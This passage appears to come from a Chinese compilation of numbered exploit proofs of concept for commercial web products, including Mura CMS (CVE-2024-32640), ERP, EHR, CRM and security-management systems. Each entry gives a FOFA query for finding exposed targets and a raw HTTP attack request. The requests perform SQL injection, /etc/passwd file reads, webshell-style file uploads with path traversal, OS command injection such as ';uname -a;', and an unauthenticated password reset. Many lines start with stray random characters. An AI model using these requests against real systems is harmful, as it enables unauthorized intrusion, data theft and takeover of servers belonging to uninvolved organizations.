2 [5 E; G/ n* F. U- |CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
) P- B/ L8 F( M5 T6 d& o0 \' S$ nContent-Type: application/x-www-form-urlencoded


object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
% a0 S$ o0 l1 u& z: B, S% ?FOFA：body="/system/get_rtc_user_defined_info?site_id"
6 K% W' v, p3 g) ?  k- O* rGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
) J9 T/ G! D6 u6 e: bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


189. 蓝网科技临床浏览系统 deleteStudy SQL注入
# @# s7 B1 b7 K6 bFOFA：app="LANWON-临床浏览系统"
$ A5 t* s) R$ q% QGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
9 m% U: T8 w  e- ?0 FHost: your-ip
( {# L' c8 h5 s0 N5 v$ HUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
7 ^8 r7 @6 ]0 cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ T  ~' j/ U- v7 D/ I4 R& BAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 @  T- f' A: D2 sConnection: close

0 K7 g5 J9 S- X. {: i% f+ S3 d( v
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
# A& Y; z2 O$ k) pFOFA：title=="短视频矩阵营销系统"
5 }; H* o! ^* bPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
9 R" K* a1 }& L" S1 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
; I+ [. S" E! z: WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
% }. ^/ e0 D& r/ G& R7 S- kAccept-Encoding: gzip, deflate
+ ?/ @3 R# t5 D+ d: P$ x: Y6 kAccept-Language: zh-CN,zh;q=0.9
; s8 v1 Q% Y4 O. S
poi=file:///etc/passwd
# _/ p' c1 ]# g( Q

191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
/ I# H! e1 U0 i, tFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
- q: z' M6 S, AHost: your-ip
$ w7 R" |1 i. C- R/ ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

' y. {3 t9 V* i6 V% ~command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
( w# q9 E1 `+ e. z2 y. ~7 U
# l. q$ r* [7 f$ b0 R5 G
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded


<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
, U4 e4 E" V+ H8 Gpublic class AverageHandler : IHttpHandler
9 L9 a# T& m( K0 |, R2 W{
0 q+ P& O7 a0 z  ]/ Wpublic bool IsReusable
6 e: q9 o9 ^8 Q: }9 _{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
7 a# n% N* b7 r{
ctx.Response.Write("test");
}
" Z( H7 C  {5 Q}


2 W; W& k3 t& Y% f- Y! F, n193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
6 X$ w, Y- h5 C0 W; ]Host:
8 a  J4 G3 `4 j6 l, ]Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
- J: @4 X& ^/ o6 e4 r2 M2 HUser-Agent: Mozilla/5.0


POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
. N: P  P* L4 v. |User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
. E5 k3 O+ G+ C! kAccept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
& ]+ s$ ~4 s; J) {, oContent-Type: application/x-www-form-urlencoded
$ q+ c% i; S* p' ~3 c7 RContent-Length: 84

2 j, ]: `6 z' Y+ C. X+ \/ iparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
; c; e# F+ M3 x8 j! W  N
5 p5 ]) O1 \  @/ @/ y* ?$ J
GET /master/img/config HTTP/1.1
Host:
User-Agent: Mozilla/5.0


194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
3 g- Y/ `1 t# EFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
# f* b0 G% T  o* V( D, n& H- _2 h5 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
% _- t4 ?2 U5 K% BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 w3 g+ D  M, ?' v7 WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. W8 D2 F6 C/ b' I- uAccept-Encoding: gzip, deflate
  m. J4 @5 @2 f/ e: ~Connection: close
/ E- }  @0 _7 [; r; _( p, {Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

5 F& ~6 q2 |$ {: O' I# uContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
& Q1 Q7 O( w- W' [Content-Type: text/plain
0 ^! P0 @5 G9 X4 o8 z3 `<% out.println("hello");%>
0 @; C9 B) e$ T5 I8 }------WebKitFormBoundaryKNt0t4vBe8cX9rZk
/ z, T, B  `; y7 L' [5 _$ K- cContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
3 N$ ]! L0 G9 i------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
4 z$ s% ?" c, k. _4 ]

' S7 [2 H/ z; |8 f1 n% t9 c195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
6 A- R* Z9 ?+ D* L* OFOFA：title=="飞鱼星企业级智能上网行为管理系统
* W! }7 B; v6 m  w% |5 R( wPOST /send_order.cgi?parameter=operation HTTP/1.1
& t! V, ^, b7 f( i. rHost: 127.0.0.1
Pragma: no-cache
: i( r8 E" B1 OCache-Control: no-cache
$ _' `! V( e# A+ J5 e3 T% iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
6 `5 {, |$ N& q$ R+ i$ K! AContent-Type: application/x-www-form-urlencoded
- X( R7 D, [: T6 }& i" sContent-Length: 68
) ]* D+ v0 k5 p$ t1 S
% @# h. M5 W3 ~{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
1 t! \  O! R9 m( s

196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
; c1 n" P- `, {" C' QPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
- \- `: p4 `2 a/ x+ eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
8 T# W$ N/ N* d  }+ L. YContent-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
# r" ?1 i+ p; cContent-Length: 45
Connection: close
% `* |4 }3 l/ y! f' ^
" z6 O' w3 e2 d, Z9 ?4 A% [{"xgh":"test","newPass":"test666","email":""}



197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
1 _$ {) z7 ^* ]3 T$ f! eGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
8 w6 E9 c$ w' E  nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
! l; Z# X9 M1 L7 l" Q

( O$ V; ~4 |4 G9 ?% }
* i" k8 a) N% [# e- t198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
! j1 G* s# R- e" ICookie: sysauth=41273cb2cffef0bb5d0653592624cf64
! l/ Q* U( ?. b- [& [7 BAccept: */*
$ |9 b; O$ S, z: j8 K7 gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
# v$ n. O! L2 a; T4 e* ^/ P. zConnection: close

0 V2 e# L+ f8 h8 D
199. cockpit系统assetsmanager_upload接口 文件上传

5 y& f' a8 A, P! t  S7 B& }) w- M( b3 j1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：
; [( H2 Y# P2 c# F+ Y/ @; g
POST /auth/check HTTP/1.1
Content-Type: application/json
7 E, N$ D4 C, f' m/ C; v; L
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
! T) D$ \2 @' O2 s5 _9 t) U! I- PSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
7 E2 {2 {# _3 u  r+ ~+ MPOST /assetsmanager/upload HTTP/1.1
6 Z. E4 V- v  C' N8 s; FContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
* H" M2 u& S5 K& r' V9 h3 C4 J* w
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
  y7 ]! d- w/ W) n& iContent-Type: text/php

1 u* @- ]8 z# T  ~: q# c( h$ H7 M<?php echo "tttt";unlink(__FILE__);?>
9 W: b! i' Y2 u5 l; l8 |) ]8 j-----------------------------36D28FBc36bd6feE7Fb3
, n# M/ H1 r: V% X* C3 j' u4 v9 @Content-Disposition: form-data; name="folder"
, d5 A3 d7 z+ I; ?8 ~: g
+ x* q7 P$ L% o+ [7 K7 a-----------------------------36D28FBc36bd6feE7Fb3--
! t/ _+ B# q% |( x8 O
' q; e6 V! S/ v
7 d1 V, L" o1 H4 G/storage/uploads/tttt.php
0 V9 q9 v4 d' B8 Z# v6 ^8 B
200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
2 m; F& t2 B$ S" |7 n- Z6 `Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

5 u  r4 J! `# n, C0 ]) [
* n" f# r( L8 J( P/ T& x4 J( G201. 方正全媒体新闻采编系统 binary SQL注入
" o; U' U7 O$ L, [: [FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
9 k- O2 X5 G% T& ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 {0 L+ z7 A# P1 G1 `6 o6 BAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
7 J/ N0 d) ~7 s: k2 ~
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
. H! M6 A7 f0 A; V! V3 K) l  _

& F0 S1 A; k0 c: n  X9 n202. 微擎系统 AccountEdit任意文件上传
% E% C- @0 ^2 i& P$ l" s1 zFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
7 ]# u0 T- W) L" b( mGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
# P9 R( }/ _6 l. fContent-Length: 0


替换__VIEWSTATE和__EVENTVALIDATION值
, c8 |- H3 A. H) g/ Q* XPOST /User/AccountEdit.aspx HTTP/1.1
2 U3 ^  E  _; C" dAccept-Encoding: gzip, deflate, br
& S5 y$ o; q4 ]5 E+ x0 \# eContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

# y; j4 Q; _- \, M: a-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

9 Y" ]7 g. @9 }+ N__VIEWSTATE
' g/ R5 u! ]5 p9 z7 C5 L, B-----------------------------786435874t38587593865736587346567358735687
+ ^6 \) k: R) ?3 wContent-Disposition: form-data; name="__EVENTVALIDATION"
- B0 W2 Z( S* e2 f6 V
__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
& ^. n6 r- x& \; GContent-Type: text/plain

# A( f4 W% r# \& h# F- _Hello World!
0 Y5 F! J6 m) k( d4 Z. q, A! \" h-----------------------------786435874t38587593865736587346567358735687
/ P8 y  }5 l( eContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
-----------------------------786435874t38587593865736587346567358735687
+ r9 ?# b! d# ~Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
6 {5 z' Z/ z; J* u5 ^
( K+ k8 L" y. i: x! U
-----------------------------786435874t38587593865736587346567358735687
9 a+ R, S0 G0 V, g: w8 aContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


- c: S7 [0 j! c- G- b4 C-----------------------------786435874t38587593865736587346567358735687--

2 Z: Y/ i3 ?% N  y$ |; H  _
- S1 X9 B" B3 C5 T: S7 N5 h# D! h/_data/Uploads/1123.txt

203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
& [) p( O4 J4 Q/ z) EHost: x.x.x.x
: N2 r5 U2 F! J6 h. P* b6 dAccept-Encoding: gzip
4 T3 l/ Q/ b& o: ?2 f$ B, c6 b- vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

------WebKitFormBoundaryt7WbDl1tXogoZys4
9 p1 ~  P( D+ U* a% y( _$ f# bContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
6 v9 }/ i. T$ E- I8 i$ _Content-Type:image/jpeg

; z- u! Q* F; g) r<% out.print("hello,eHR");%>
! O9 y4 S5 g1 k------WebKitFormBoundaryt7WbDl1tXogoZys4--
0 \& M) E& T* f- t  @/ o
* l% L2 _, ^9 @$ e& C

* K' ]0 z- C1 m) A+ Q, x3 r5 a/ \3 Z